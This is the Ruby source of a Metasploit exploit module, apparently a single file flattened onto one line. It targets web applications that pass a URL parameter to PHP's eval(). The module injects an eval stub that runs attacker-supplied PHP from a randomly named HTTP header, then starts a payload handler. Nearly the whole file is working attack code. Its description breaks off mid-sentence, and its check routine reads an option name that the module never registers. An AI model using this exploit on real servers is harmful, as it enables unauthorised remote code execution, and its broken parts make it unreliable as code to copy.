## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Generic PHP Code Evaluation', 'Description' => %q{ Exploits things like It is likely that HTTP evasion options will break this exploit. }, 'Author' => [ 'egypt' ], 'License' => BSD_LICENSE, 'References' => [ ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { # max header length for Apache, # http://httpd.apache.org/docs/2.2/mod/core.html#limitrequestfieldsize 'Space' => 8190, # max url length for some old versions of apache according to # http://www.boutell.com/newfaq/misc/urllength.html #'Space' => 4000, 'DisableNops' => true, 'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install 'Compat' => { 'ConnectionType' => 'find', }, 'Keys' => ['php'], }, 'DisclosureDate' => 'Oct 13 2008', 'Targets' => [ ['Automatic', { }], ], 'DefaultTarget' => 0 )) register_options( [ OptString.new('URIPATH', [ true, "The URI to request, with the eval()'d parameter changed to !CODE!", '/test.php?evalme=!CODE!']), OptString.new('HEADERS', [false, "Any additional HTTP headers to send, cookies for example. Format: \"header:value,header2:value2\""]) ]) end def check uri = datastore['PHPURI'].gsub(/\?.*/, "") print_status("Checking uri #{uri}") response = send_request_raw({ 'uri' => uri}) if response.code == 200 return Exploit::CheckCode::Detected end vprint_error("Server responded with #{response.code}") return Exploit::CheckCode::Safe end def datastore_headers headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : "" headers_hash = {} if headers && !headers.empty? headers.split(',').each do |header| key, value = header.split(':') headers_hash[key] = value.strip end end headers_hash end def exploit # very short timeout because the request may never return if we're # sending a socket payload timeout = 0.01 headername = "X-" + Rex::Text.rand_text_alpha_upper(rand(10)+10) stub = "error_reporting(0);eval($_SERVER[HTTP_#{headername.gsub("-", "_")}]);" uri = datastore['URIPATH'].sub("!CODE!", Rex::Text.uri_encode(stub)) print_status("Sending request for: http#{ssl ? "s" : ""}://#{rhost}:#{rport}#{uri}") print_status("Payload will be in a header called #{headername}") response = send_request_raw({ 'global' => true, 'uri' => uri, 'headers' => datastore_headers.merge( headername => payload.encoded, 'Connection' => 'close') },timeout) if response and response.code != 200 print_error("Server returned non-200 status code (#{response.code})") end handler end end